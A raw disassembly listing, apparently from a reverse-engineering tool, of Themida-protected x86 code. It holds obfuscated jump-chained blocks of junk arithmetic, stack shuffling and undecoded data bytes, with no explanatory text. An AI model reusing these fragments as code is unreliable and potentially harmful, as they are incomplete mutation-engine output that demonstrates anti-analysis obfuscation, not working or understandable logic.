db 0FFh
; ---------------------------------------------------------------------------
loc_55DF45: ; CODE XREF: Themida_:0055848Ej
add esp, 4
pop bx
push dx
mov dl, 22h
xor cl, dl
jmp loc_557322
; ---------------------------------------------------------------------------
dd 33240431h, 895C2404h, 5A582414h, 38F0EA81h, 0C20103EEh
dd 0FFC9C6E9h, 1AE958FFh
db 8, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_55DF77: ; CODE XREF: Themida_:0055A744j
pop esi
jmp loc_560B4F
; ---------------------------------------------------------------------------
loc_55DF7D: ; CODE XREF: Themida_:00553E40j
add edx, 4
push edi
mov edi, 4
add edx, 7ADE3E13h
add edx, edi
sub edx, 7ADE3E13h
jmp loc_558D4B
; ---------------------------------------------------------------------------
loc_55DF9C: ; CODE XREF: Themida_:0055EB76j
add ebp, 6CD351BBh
not ebp
inc ebp
jmp loc_56181C
; ---------------------------------------------------------------------------
dw 0E801h
dd 695A9F05h, 174AE948h, 0B753FFFFh, 0C0C7FEC1h, 0B55108EFh
dd 59EF08FAh, 0C02BB151h, 0C98008E9h, 0CE180D8h, 0E980D9F6h
dd 0AA4FE95Eh, 0F768FFFFh, 8900002Bh, 61E92414h, 0B9FFFF9Eh
dd 4, 335DE9h, 24048F00h, 0FF514DE9h, 0D68959FFh, 0F1BE9h
dd 0D9C28100h, 52412A27h, 5A2414F7h, 2442BE56h, 0F20913E3h
dd 0CBE2815Eh, 0E90A4226h, 0FFFFEA38h, 2C78F8BAh, 5EAC134h
dd 5AB7E281h, 0F3E956F6h, 1FFFF3Bh, 9BC581F5h, 5E2FBB69h
dd 81E68956h, 4C6h, 4EE8300h, 0E9243487h, 0FFFFD649h
; ---------------------------------------------------------------------------
loc_55E050: ; CODE XREF: Themida_:0055C90Bj
pop ecx
xchg esi, [esp]
pop esp
jmp loc_5597FF
; ---------------------------------------------------------------------------
loc_55E05A: ; CODE XREF: Themida_:0054E8AFj
add esi, 4
add esi, 4
xchg esi, [esp]
pop esp
shl ebx, 2
xor ebx, 36C341ADh
dec ebx
push ecx
mov ecx, 13872EC6h
push edi
mov edi, 5142169Bh
inc edi
jmp loc_54E7DE
; ---------------------------------------------------------------------------
dw 34FFh
dd 0CF5AE924h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_55E08E: ; CODE XREF: Themida_:0055A35Fj
pop ebx
push edx
jmp loc_5534D5
; ---------------------------------------------------------------------------
loc_55E095: ; CODE XREF: Themida_:00554A47j
add edi, 303C1A23h
pop ebp
jmp loc_54F23D
; ---------------------------------------------------------------------------
db 81h, 0C3h, 33h
dd 121FD09h, 26F6E9C3h, 0EA290000h, 102C281h, 0E95D6A98h
dd 0FFFFEF2Fh, 0EA814A5Bh, 79E7E844h, 148BD709h, 4C48124h
dd 53000000h, 0F32928BBh, 8DC38120h, 1F264FBh, 241C8BDFh
dd 0FF180FE9h
db 0FFh
; ---------------------------------------------------------------------------
loc_55E0E5: ; CODE XREF: Themida_:005508CDj
sub esi, eax
pop eax
push esi
push dword ptr [esp+4]
pop esi
jmp loc_5622A4
; ---------------------------------------------------------------------------
db 0FFh
dd 34FF2434h, 2434FF24h, 4C48358h, 0FF3B44E9h, 0EC8151FFh
dd 4, 0B8240489h, 7350BB5Dh, 5558C189h, 0FF44B7E9h, 4FE95AFFh
db 20h, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_55E123: ; CODE XREF: Themida_:0055AB01j
pop esi
not esi
xchg esi, ebx
jmp loc_55D23B
; ---------------------------------------------------------------------------
db 2Dh, 51h, 28h
dd 0A005798Ah, 0F77AC008h, 0F14405D8h, 2E94CFDh, 89FFFFAFh
dd 4C281E2h, 81000000h, 4C2h, 9B9DE900h, 8953FFFFh, 0C3F8E9E3h
dd 0EF81FFFFh, 1C5C3547h, 815FFE01h, 4C6h, 4EC8300h, 0FF243489h
dd 0FF042474h, 348B2434h, 4C48324h, 6FDE9h, 0D4ED8100h
dd 812AB24Bh, 0E90BCFC1h, 90685347h, 0E940246Ah, 0FFFF3D2Ah
; ---------------------------------------------------------------------------
loc_55E19C: ; CODE XREF: Themida_:005536A7j
pop esi
jmp loc_550991
; ---------------------------------------------------------------------------
dw 0E956h
dd 0FFFF5D33h
; ---------------------------------------------------------------------------
loc_55E1A8: ; CODE XREF: Themida_:005551B9j
pop edi
add eax, edi
mov edi, [esp]
add esp, 4
push ecx
mov ecx, 47F5313Fh
jmp loc_55FAB9
; ---------------------------------------------------------------------------
dd 0FEFC04E9h, 240C89FFh, 22204CB9h, 0A9BD5504h, 504CC530h
dd 5C2B50B8h, 58C5010Eh, 0EFC4C581h, 0EA29C09Ah, 8D14E95Dh
dd 0E929FFFFh, 81D1015Dh, 9763CDC1h, 0E9525A0Ch, 0DA5h
dd 0E781EFD1h, 7FFE4DA4h, 9C54C781h, 81576900h, 47D82434h
dd 81590FCCh, 0CC47D8F1h, 0CA315F0Fh, 5BA06859h, 1C890000h
dd 0E9D38924h, 0FFFFFAF4h, 77E95966h
db 0B1h, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_55E22F: ; CODE XREF: Themida_:00561CA8j
push ebp
mov ebp, esi
push ebp
push ebp
push edx
jmp loc_54F457
; ---------------------------------------------------------------------------
loc_55E23A: ; CODE XREF: Themida_:0055166Bj
jmp loc_54DDC5
; ---------------------------------------------------------------------------
db 0ADh
dd 5652D831h, 3F16A7BEh, 76E9504Bh, 25FFFF6Fh, 1F37585Dh
dd 99D5A905h, 8BC3016Eh, 89502404h, 7B39E9E0h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_55E266: ; CODE XREF: Themida_:0055616Dj
push ecx
push 2FD3h
mov [esp], ebp
mov ebp, esp
jmp loc_56290D
; ---------------------------------------------------------------------------
loc_55E276: ; CODE XREF: Themida_:00556CE1j
mov [esp], ebp
push edx
pop ebp
jmp loc_5508A6
; ---------------------------------------------------------------------------
dd 4C481h, 0F8300000h, 0FF8D10E9h
db 0FFh
; ---------------------------------------------------------------------------
loc_55E28D: ; CODE XREF: Themida_:00555000j
sub ebx, 747923D3h
jmp loc_5609AD
; ---------------------------------------------------------------------------
loc_55E298: ; CODE XREF: Themida_:0055FA40j
mov ebp, 4
push edi
mov edi, 6D8922B6h
sub edx, edi
jmp loc_55A7CD
; ---------------------------------------------------------------------------
dw 805Bh
dd 0B55135F2h, 6C580F8h, 0FF04BEE9h
db 0FFh
; ---------------------------------------------------------------------------
loc_55E2B9: ; CODE XREF: Themida_:0055B2C1j
pop esi
add esp, 4
xor edi, [esp]
xor [esp], edi
xor edi, [esp]
jmp loc_550C8B
; ---------------------------------------------------------------------------
loc_55E2CB: ; CODE XREF: Themida_:005508A9j
xor ebp, ebx
xor ebx, ebp
jmp loc_558A3F
; ---------------------------------------------------------------------------
dd 51240C8Bh, 0C181E189h, 4, 0FF195DE9h, 4C583FFh, 31242C33h
dd 0EEE9242Ch, 89000016h, 4BF243Ch, 1000000h, 243C8BF8h
dd 0E904C483h, 0FFFF9D13h
; ---------------------------------------------------------------------------
loc_55E308: ; CODE XREF: Themida_:0055CF64j
push ecx
mov ecx, esp
add ecx, 4
push ebx
mov ebx, 4
sub ecx, ebx
mov ebx, [esp]
add esp, 4
xchg ecx, [esp]
pop esp
mov [esp], esi
push 1
mov esi, [esp]
push edi
jmp loc_55B2AE
; ---------------------------------------------------------------------------
db 30h
dd 2434FFF8h, 81241C8Bh, 4C4h, 4C48100h, 88000000h, 3B27E9C5h
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_55E352: ; CODE XREF: Themida_:00555D61j
push ebx
mov bh, 0ADh
mov ah, bh
pop ebx
jmp loc_552DC3
; ---------------------------------------------------------------------------
loc_55E35D: ; CODE XREF: Themida_:00554562j
push ebp
push 20E3668Dh
mov ebp, [esp]
push esi
mov esi, esp
push ebx
push 43C12ED8h
mov ebx, [esp]
add esp, 4
and ebx, 2D6334DAh
shl ebx, 5
neg ebx
neg ebx
jmp loc_54DEF0
; ---------------------------------------------------------------------------
dw 0BF57h
dd 3496F02h, 4E4EF781h, 0FE31729Dh, 8BF7895Fh, 0C4832434h
dd 59C58104h, 0E96BDF66h, 0FFFF3FE4h
; ---------------------------------------------------------------------------
loc_55E3AC: ; CODE XREF: Themida_:0055293Fj
pop eax
mov cl, bl
jmp loc_55AB7B
; ---------------------------------------------------------------------------
loc_55E3B4: ; CODE XREF: Themida_:00551118j
inc esi
xor esi, 986FF5C5h
sub eax, 1E701260h
sub eax, esi
jmp loc_559A52
; ---------------------------------------------------------------------------
loc_55E3C7: ; CODE XREF: Themida_:0055BA0Ej
xor edi, 37056D56h
pop edx
sub edi, 5C544296h
jmp loc_554B9D
; ---------------------------------------------------------------------------
aD9aSI db '¸„9a"S»©',0
dw 607h
dd 7DE9DD89h, 28FFFF13h, 0C38059CBh, 240C8B77h, 4C481h
dd 1AE90000h
db 3Eh, 2 dup(0)
; ---------------------------------------------------------------------------
loc_55E3FF: ; CODE XREF: Themida_:0055F7DDj
push cx
mov ch, 53h
shl ch, 2
not ch
dec ch
shl ch, 4
sub ch, 5Bh
jmp loc_5617CE
; ---------------------------------------------------------------------------
loc_55E415: ; CODE XREF: Themida_:0055D78Dj
mov edx, esp
add edx, 4
sub edx, 4
xchg edx, [esp]
pop esp
jmp loc_558411
; ---------------------------------------------------------------------------
loc_55E42C: ; CODE XREF: Themida_:00561D53j
add ecx, esi
pop esi
push ecx
mov ecx, esp
jmp loc_55671D
; ---------------------------------------------------------------------------
db 5
dd 66EC329Eh, 9E2DD829h, 566EC32h, 59B72ED7h, 5B2434FFh
dd 0D6E95450h
db 24h, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_55E453: ; CODE XREF: Themida_:00560ECEj
add esi, ebp
mov ebp, [esp]
add esp, 4
jmp loc_5544A6
; ---------------------------------------------------------------------------
loc_55E460: ; CODE XREF: Themida_:00562397j
pop ax
push eax
push ebx
mov bl, 0B5h
mov al, bl
pop ebx
push ebx
mov bl, 0A0h
jmp loc_55293A
; ---------------------------------------------------------------------------
db 5Bh
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
add ebp, 4
sub ebp, 4
xchg ebp, [esp]
jmp loc_5562E7
; ---------------------------------------------------------------------------
db 66h, 8Bh, 0Ch
aSu db '$éî%',0
align 2
dw 0FBBFh
dd 817D2854h, 0D97702EBh, 81FB2904h, 0D97702C3h, 0EC835F04h
dd 24148904h, 3C709CBAh, 1EEA8171h, 0F75BDF61h, 87E950D2h
db 0B5h, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_55E4BF: ; CODE XREF: Themida_:0055B655j
mov ecx, esp
jmp loc_55593C
; ---------------------------------------------------------------------------
dw 0D5F7h
dd 391EF581h, 0F5816FBAh, 17434E1Eh, 88AFED81h, 0E95570EEh
dd 0FFFF6123h, 6B06859h, 1C890000h, 62C3BB24h, 0D3F76762h
dd 51FFEB83h, 5F1D65B9h, 0F9E9413Dh
db 13h, 2 dup(0)
; ---------------------------------------------------------------------------
loc_55E4FF: ; CODE XREF: Themida_:0055B7F5j
add edi, 40FA0501h
xor edi, 6E297BCBh
dec edi
xor edi, 28374AE3h
mov ebx, edi
pop edi
sub eax, ebx
pop ebx
xchg eax, [esp]
pop esp
jmp loc_54E9F1
; ---------------------------------------------------------------------------
db 58h, 89h, 0DAh
dd 59B8505Bh, 567B8F06h, 707DB9BEh, 4B7BE93Bh, 0E9ACFFFFh
dd 0FFFFE5EDh, 352BF57h, 0EFC13562h, 83F78102h, 312244DBh
dd 243C8BFBh, 5304C483h, 0F353E6BBh, 0B6C0E97Ah, 0D168FFFFh
dd 8900000Ch, 0E389241Ch, 0FFE2D3E9h, 2A482DFFh, 2C8B2F8Dh
dd 4C48124h, 87000000h, 75E92404h, 83FFFFC3h, 0C6E904E8h
dd 5AFFFF4Bh, 3157E9h, 242C8B00h, 81E18951h, 4C1h, 4C18300h
dd 5C240C87h, 4EC81h, 3C890000h, 4BF24h, 0F8010000h, 0FF267CE9h
dd 59C829FFh, 4EE9C731h
db 0C6h, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_55E5C3: ; CODE XREF: Themida_:0055D27Aj
pop esi
jmp loc_560493
; ---------------------------------------------------------------------------
db 83h, 0ECh, 4
dd 68241C89h, 0FEh, 0DF89575Bh, 242C8157h, 32727F88h, 0D52E95Ah
dd 535D0000h, 4D2BF57h, 3EE94FE3h, 5D00002Eh, 630BCF81h
dd 0F1E901B4h, 6800000Fh, 27C6h, 0B9240C89h, 2, 2EC468h
dd 124E900h, 0BA52FFFFh, 1, 39E9D701h, 56FFFFB0h, 28E9E689h
dd 68FFFF39h, 40h, 0FF457CE9h
db 0FFh
; ---------------------------------------------------------------------------
loc_55E635: ; CODE XREF: Themida_:0055183Cj
sub ecx, eax
mov eax, [esp]
push 5DABh
mov [esp], esi
mov esi, esp
add esi, 4
add esi, 4
xor esi, [esp]
jmp loc_552AB5
; ---------------------------------------------------------------------------
loc_55E658: ; CODE XREF: Themida_:0055EF17j
mov ecx, 2F9042EEh
sub edx, ecx
pop ecx
jmp loc_551716
; ---------------------------------------------------------------------------
loc_55E665: ; CODE XREF: Themida_:00550398j
xor [esp], ecx
xor ecx, [esp]
mov esp, [esp]
mov [esp], ecx
push esi
push edx
push 4CAD4AFBh
pop edx
jmp loc_5557B5
; ---------------------------------------------------------------------------
loc_55E67E: ; CODE XREF: Themida_:00561B70j
pop edi
and esi, edi
pop edi
jmp loc_551759
; ---------------------------------------------------------------------------
db 81h
dd 6A1BB3C2h, 81F22949h, 6A1BB3EAh, 1CF16849h, 22E90000h
dd 5AFFFFFBh, 4BD55h, 0C1E90000h
db 0C8h, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_55E6AB: ; CODE XREF: Themida_:005511E1j
push 2566h
mov [esp], edx
jmp loc_54F76F
; ---------------------------------------------------------------------------
dd 0DB2EF181h, 0EAE9DA06h, 0BE000040h, 184C258Fh, 65C6BA52h
dd 0D60946F9h, 0A98BE95Ah, 1C8BFFFFh, 4C48324h, 0FFBA42E9h
db 0FFh
; ---------------------------------------------------------------------------
loc_55E6E1: ; CODE XREF: Themida_:0055047Ej
mov ebp, [esp]
add esp, 4
push ecx
push eax
mov eax, 36273EBFh
mov ecx, eax
jmp loc_55B5FB
; ---------------------------------------------------------------------------
loc_55E6F8: ; CODE XREF: Themida_:0055A9C6j
pop eax
pop edx
jmp loc_5576AC
; ---------------------------------------------------------------------------
db 89h
dd 91E92404h
db 48h, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_55E707: ; CODE XREF: Themida_:00559BAEj
pop ebx
push ecx
mov ecx, 5CDB258Eh
neg ecx
xor ecx, 0A324DA76h
add ebp, ecx
pop ecx
xchg ebp, [esp]
pop esp
not edi
sub esp, 4
mov [esp], ebp
push esp
pop ebp
add ebp, 4
sub esp, 4
mov [esp], edi
jmp loc_554E36
; ---------------------------------------------------------------------------
dw 0E589h
dd 4C581h, 0BB530000h, 4, 5C2DC581h, 0DD290F67h, 0FF6607E9h
dd 52E389FFh, 4BAh, 5AD30100h, 0FF1149E9h, 240481FFh, 4
dd 0FF4CA6E9h, 2434FFFFh, 4EC8158h, 89000000h, 0E189240Ch
dd 11BCBD55h, 0EDC1393Dh, 0C4F58105h, 814E0D32h, 9B4B10EDh
dd 33B2E902h
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_55E79E: ; CODE XREF: Themida_:00552D92j
pop edx
add eax, 6F7F7940h
push edi
mov edi, 3DE86C42h
jmp loc_554782
; ---------------------------------------------------------------------------
db 0B9h
dd 4, 4244C01h, 4055859h, 68000000h, 404Fh, 0FFA630E9h
dd 241489FFh, 42474FFh, 8324148Bh, 48F04C4h, 11ECE924h
dd 0E5B90000h, 81114569h, 951518C9h, 81D9F71Ch, 7240E0C9h
dd 8E9C17Ah, 72E98149h, 31869C00h, 0E82959CDh, 2434FF5Dh
dd 0FF5D8EE9h
db 0FFh
; ---------------------------------------------------------------------------
loc_55E809: ; CODE XREF: Themida_:0055444Bj
not edi
xchg eax, edi
xor [esp], eax
xor eax, [esp]
jmp loc_562528
; ---------------------------------------------------------------------------
db 87h
dd 2FE9241Ch, 0FF000018h, 34FF2434h, 0C4815A24h, 4, 89868h
dd 24048900h, 815E5456h, 4C6h, 4EE8300h, 5C243487h, 51242489h
dd 0FFFF62E9h
db 0FFh
; ---------------------------------------------------------------------------
loc_55E84D: ; CODE XREF: Themida_:00555540j
or ecx, 45293FCEh
shl ecx, 8
push ebp
mov ebp, 25481B51h
push edx
mov edx, 119E6A57h
xor ebp, edx
jmp loc_55A0DA
; ---------------------------------------------------------------------------
db 64h, 88h, 2
dd 0FEF554E9h, 0A1B951FFh, 315C2EE5h, 0D30159CAh, 5443E95Ah
dd 0DF68FFFFh, 8900005Bh, 0E0892404h, 405h, 4C08300h, 5C240487h
dd 8B24048Fh, 89562424h, 194868E6h, 4890000h, 3967B824h
dd 0A9E91974h
db 55h, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_55E8B3: ; CODE XREF: Themida_:0055FDA1j
xchg edx, [esp]
pop esp
jmp loc_54F2D5
; ---------------------------------------------------------------------------
dd 89242C89h, 4C581E5h, 81000000h, 4EDh, 242C3300h, 0E9242C31h
dd 0FFFFD84Eh, 5B6A8B0Dh, 30BD5510h, 313CE92Ch, 9A2D5DE8h
dd 0D671B20h, 0E771C7Ch, 0FFB61DE9h, 5FFD09FFh, 0FF0A5AE9h
db 0FFh
; ---------------------------------------------------------------------------
loc_55E8FD: ; CODE XREF: Themida_:005625EEj
push edx
mov edx, ebp
mov ebx, edx
jmp loc_5564FE
; ---------------------------------------------------------------------------
db 1
dd 85E958C7h, 59FFFF4Ch, 575FF989h, 6B7F21BFh, 5FFA296Dh
dd 0C281CA29h, 6D6B7F21h, 24148759h, 0B69AE95Ch, 0EEB9FFFFh
dd 0C107C125h, 0F18107E9h, 4E980872h, 19FFC981h, 0CAE97FEFh
dd 87000028h, 895C243Ch, 2BB241Ch, 1000000h, 90685BDAh
dd 0E900001Ch, 0FFFF9954h
; ---------------------------------------------------------------------------
loc_55E960: ; CODE XREF: Themida_:00553C7Cj
mov [esp], ebp
mov ebp, 7193371Ah
jmp loc_560B3E
; ---------------------------------------------------------------------------
loc_55E96D: ; CODE XREF: Themida_:0055AC6Fj
mov esp, [esp]
test cx, ax
pushf
jmp loc_54DDC5
; ---------------------------------------------------------------------------
loc_55E979: ; CODE XREF: Themida_:005575CAj
mov ebp, 0E654CF7h
push ebp
add dword ptr [esp], 19720CB0h
pop ecx
jmp loc_551824
; ---------------------------------------------------------------------------
dd 731BA66h, 176AE9h
db 0
; ---------------------------------------------------------------------------
loc_55E995: ; CODE XREF: Themida_:0055255Bj
xchg esi, [esp]
pop esp
jmp loc_561307
; ---------------------------------------------------------------------------
dw 8B66h
dd 4EE92404h, 81FFFFCBh, 0A4CB8BC1h, 59CA09E2h, 0FF1EDBE9h
dd 4BB53FFh, 1000000h, 34875BDEh, 0C3305C24h, 66C0B60Fh
dd 0E987048Fh, 0FFFEF3F5h, 0F75EF289h, 11EA81DAh, 0E9102B23h
dd 6F4h
; ---------------------------------------------------------------------------
loc_55E9E0: ; CODE XREF: Themida_:0055C774j
pop ebp
push esi
jmp loc_5619AF
; ---------------------------------------------------------------------------
loc_55E9E7: ; CODE XREF: Themida_:0055ED01j
add esp, 4
sub [edi+24h], eax
push dword ptr [esp]
jmp loc_553E27
; ---------------------------------------------------------------------------
db 81h, 0ECh, 4
dd 89000000h, 4682404h, 58000000h, 5BBAC381h, 0C3010683h
dd 5BBAEB81h, 0E9580683h, 0FFFF6F68h
; ---------------------------------------------------------------------------
loc_55EA18: ; CODE XREF: Themida_:0054E735j
pop ebp
push dword ptr [esp]
mov eax, [esp]
sub esp, 4
mov [esp], ebx
push ebx
jmp loc_55B436
; ---------------------------------------------------------------------------
dw 92E9h
db 0F3h, 0FEh, 0FFh
; ---------------------------------------------------------------------------
loc_55EA33: ; CODE XREF: Themida_:0055243Aj
not edx
jmp loc_550149
; ---------------------------------------------------------------------------
dw 0FFBFh
dd 81FFFFFFh, 0E17399C3h, 8BF5749h, 109CF11h, 0EB815FFBh
dd 8C52591h, 0C381FB29h, 8C52591h, 1108EB81h, 58E909CFh
dd 81000035h, 7004246Ch, 0E95BB545h, 0FFFF2492h, 0BD554Eh
dd 29000000h, 5DEE87F5h, 420DB951h, 0D9F75EDCh, 0A2E98141h
dd 0E92D3078h, 0FFFFD436h, 4BAh, 5AD12900h, 0FFB57BE9h
db 0FFh
; ---------------------------------------------------------------------------
loc_55EAA1: ; CODE XREF: Themida_:0055165Aj
xor edi, 0FDEBB257h
jmp loc_551DA3
; ---------------------------------------------------------------------------
loc_55EAAC: ; CODE XREF: Themida_:00552CC9j
sub dh, ch
pop ecx
push dword ptr [esp]
pop eax
jmp loc_5545A3
; ---------------------------------------------------------------------------
loc_55EAB8: ; CODE XREF: Themida_:005583E1j
push dword ptr [esp]
pop eax
add esp, 4
push 2310h
mov [esp], ebp
mov ebp, 3D7E55EEh
push ecx
mov ecx, 636D2932h
jmp loc_551ED4
; ---------------------------------------------------------------------------
db 5
dd 7AC8145Ah, 7FEE95Bh
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_55EAE2: ; CODE XREF: Themida_:0055CA88j
add dword ptr [edi+20h], 34673B89h
push dword ptr [esp]
jmp loc_5622EB
; ---------------------------------------------------------------------------
loc_55EAF1: ; CODE XREF: Themida_:00561D87j
mov edx, [esp]
add esp, 4
sub edx, 3371CB7Ah
push edx
jmp loc_5627D9
; ---------------------------------------------------------------------------
db 5Bh
dd 815AD689h, 751E0C6h, 84CE8119h, 812A1227h, 5B36DAC6h
dd 0E9575250h, 0FFFF9AD0h, 4BBCC281h, 0FA292DF3h, 4BBCEA81h
dd 525F2DF3h, 42474FFh, 8124148Bh, 4C4h, 24048F00h, 2404895Ch
dd 0E924048Bh, 0FFFF3EB5h
; ---------------------------------------------------------------------------
loc_55EB4C: ; CODE XREF: Themida_:00552573j
push esi
push 722Fh
jmp loc_554079
; ---------------------------------------------------------------------------
db 31h
dd 24048BC2h, 3104C483h, 0B8505AD7h, 136970C4h, 6F142A05h
dd 0A191E9C1h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_55EB72: ; CODE XREF: Themida_:00551D97j
mov ebp, eax
pop eax
pop edx
jmp loc_55DF9C
; ---------------------------------------------------------------------------
db 8Bh
dd 0C481241Ch, 4, 4EC81h, 14890000h, 4A7BE924h, 2C33FFFFh
dd 496EE924h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
add ebp, 4
sub ebp, 4
xchg ebp, [esp]
pop esp
mov [esp], ebx
jmp loc_556558
; ---------------------------------------------------------------------------
loc_55EBB2: ; CODE XREF: Themida_:00556F76j
add ebx, 2EDA2116h
pop ecx
sub ebx, 2
jmp loc_54FF57
; ---------------------------------------------------------------------------
dd 241CF766h, 11F4E99Ch, 0E2C10000h, 83B95107h, 12C0317h
dd 0B85059CAh, 305F0FB4h, 0A30B8635h, 2ECEE96Bh, 4040FFFFh
dd 72227B05h, 0FC5E914h, 5152FFFFh, 602B6CB9h, 0D769BA0Bh
dd 0CA31B49Fh, 50952D59h, 0D001196Bh, 6B509505h, 0C1815A19h
dd 5E695E02h, 0E3E9C101h, 8300003Ch, 0F80004C4h, 0DB95E95Bh
dd 2C89FFFFh, 0C4E95424h, 87FFFF08h, 248B242Ch, 0F0EBE924h
dd 0BB53FFFFh, 0F41BDEE6h, 515BDE31h, 0E0294DB9h, 5E9C14Ch
dd 0FF3D8AE9h
db 0FFh
; ---------------------------------------------------------------------------
loc_55EC55: ; CODE XREF: Themida_:00559D17j
add esi, ebx
mov ebx, [esp]
push ecx
mov ecx, esp
add ecx, 4
jmp loc_54F087
; ---------------------------------------------------------------------------
dd 68240C89h, 165Fh, 83242489h, 59042404h, 4BB53h, 0E9810000h
dd 6131FF1h, 0C181D901h, 6131FF1h, 4E9815Bh, 87000000h
dd 895C240Ch, 0E6892434h, 1105E9h, 9AEB8100h, 0E90EC176h
dd 0FFFFC704h, 0E9243489h, 0FFFF1A20h, 0E906E1C1h, 0FFFFEECAh
dd 875FFD29h, 895C242Ch, 0F1E9241Ch
db 47h, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_55ECCB: ; CODE XREF: Themida_:00551A23j
add ecx, 71A5798Dh
sub ecx, 0D7734968h
jmp loc_5619E1
; ---------------------------------------------------------------------------
dd 0C681E689h, 4, 24A1E9h, 0CE98100h, 1001104h, 5FD9E9CBh
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_55ECF6: ; CODE XREF: Themida_:00554222j
add edx, 4CB06932h
add eax, edx
mov edx, [esp]
jmp loc_55E9E7
; ---------------------------------------------------------------------------
dw 0EC81h
dd 4, 0BE243489h, 4, 2816BA52h, 0EA811D77h, 138F454Ah
dd 0FF4B30E9h, 4EC81FFh, 89000000h, 0ECE92414h, 59FFFF6Ah
dd 8904EC83h, 0DEE92434h, 59FFFF34h, 81E28952h, 4C2h, 4C28300h
dd 5C241487h, 4BF57h, 0C6810000h, 2D8A1780h, 2AFDEE81h
dd 8DE92742h, 51FFFFB9h, 0E2060EB9h, 694BBA02h, 0C281FE25h
dd 2DA55E49h, 0EA81CA01h, 2DA55E49h, 83240C8Bh, 0C2E904C4h
dd 5AFFFF6Bh, 0BC5EB105h, 2DF80106h, 6BC5EB1h, 0E92434FFh
dd 0FFFF85F7h, 0DBAE94Bh, 0C581FFFFh, 2E0F3646h, 0B27C581h
dd 34FF116Dh, 0C4815924h, 4, 31242C33h, 2C33242Ch, 0E1D2E924h
dd 1C87FFFFh, 3EE95C24h
db 53h, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_55EDD3: ; CODE XREF: Themida_:005506C1j
pop esp
mov [esp], ebp
push ebx
jmp loc_54DE75
; ---------------------------------------------------------------------------
db 5Ch, 89h, 34h
dd 0FAB1E924h
db 0FEh, 0FFh
; ---------------------------------------------------------------------------
loc_55EDE6: ; CODE XREF: Themida_:0055DC74j
neg ebp
jmp loc_5504EA
; ---------------------------------------------------------------------------
loc_55EDED: ; CODE XREF: Themida_:005532DCj
or ecx, 32CF1239h
jmp loc_55F108
; ---------------------------------------------------------------------------
dd 81E38953h, 4C3h, 4EB8100h, 0E9000000h, 0FFFF935Eh, 5FFB015Dh
dd 8904EC83h, 0D0E9241Ch
db 0Eh, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_55EE1B: ; CODE XREF: Themida_:00561B99j
push edx
jmp loc_54F77B
; ---------------------------------------------------------------------------
loc_55EE21: ; CODE XREF: Themida_:00561601j
mov esp, [esp]
push eax
sub esp, 4
sub esp, 4
push esp
jmp loc_55667C
; ---------------------------------------------------------------------------
loc_55EE34: ; CODE XREF: Themida_:0055D96Ej
push edi
mov edi, 61BE5372h
shr edi, 4
add edi, 81E6BD82h
add edx, 495B37E3h
add edx, edi
sub edx, 495B37E3h
mov edi, [esp]
add esp, 4
push esi
push edx
jmp loc_55037C
; ---------------------------------------------------------------------------
db 59h, 0E9h, 11h
db 0C8h, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_55EE67: ; CODE XREF: Themida_:00553CDEj
push dword ptr [esp]
push dword ptr [esp]
pop ebx
add esp, 4
add esp, 4
jmp loc_5518D4
; ---------------------------------------------------------------------------
dd 42474FFh, 81243C8Bh, 4C4h, 0A611E900h, 2C8BFFFFh, 0A2C9E924h
dd 8950FFFFh, 9FE956E0h
db 10h, 2 dup(0)
; ---------------------------------------------------------------------------
loc_55EE9F: ; CODE XREF: Themida_:0055002Bj
mov esi, 4
jmp loc_55181D
; ---------------------------------------------------------------------------
db 0B8h, 0B6h, 3Ch
dd 1FE9152Eh, 50FFFF8Ch, 405E089h, 83000000h, 0E1E904C0h
dd 29FFFF31h, 240C8BCAh, 81E78957h, 4C7h, 0AA04E900h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_55EED6: ; CODE XREF: Themida_:0055964Cj
sub ebx, edi
sub ebx, 1EDD09C9h
pop edi
push ebx
jmp loc_560CE9
; ---------------------------------------------------------------------------
loc_55EEE5: ; CODE XREF: Themida_:0055ABBAj
sub ecx, esi
pop esi
sub edi, ecx
jmp loc_5515B1
; ---------------------------------------------------------------------------
db 5
dd 4, 42Dh, 24048700h, 0FF1E76E9h, 4B8FFh, 0C2890000h
dd 0FF54CFE9h
db 0FFh
; ---------------------------------------------------------------------------
loc_55EF0D: ; CODE XREF: Themida_:0055B604j
push ecx
add dword ptr [esp], 2F9042EEh
pop edx
push ecx
jmp loc_55E658
; ---------------------------------------------------------------------------
dd 0DCEE815Ah, 29497279h, 0DCC681CEh, 59497279h, 44F1E981h
dd 0AFE974B4h, 80FFFF22h, 95E92DF7h, 81000024h, 1D7673C5h
dd 37ED814Fh, 8B5B902Fh, 0C4832404h, 19EFE904h, 0B8500000h
dd 2EE24416h, 2414F750h, 8CBA5258h, 0E94E5743h, 0FFFF7206h
; ---------------------------------------------------------------------------
loc_55EF6C: ; CODE XREF: Themida_:00555D0Aj
mov ebx, 721E3F78h
shr ebx, 6
push esi
mov esi, 574968DBh
dec esi
add esi, 0DDD3D462h
sub ebx, esi
pop esi
neg ebx
or ebx, 7D333F36h
inc ebx
push ebp
mov ebp, 47DAA1A4h
xor ebx, ebp
mov ebp, [esp]
jmp loc_5550C2
; ---------------------------------------------------------------------------
db 0BAh, 4, 0
dd 0E9810000h, 706D2E94h, 0FF501EE9h, 243C89FFh, 0FC3D6BBFh
dd 5FFB8950h, 3C299BFh, 0E9DF01AFh, 0FFFF651Fh, 8124048Fh
dd 42404h, 1EE90000h
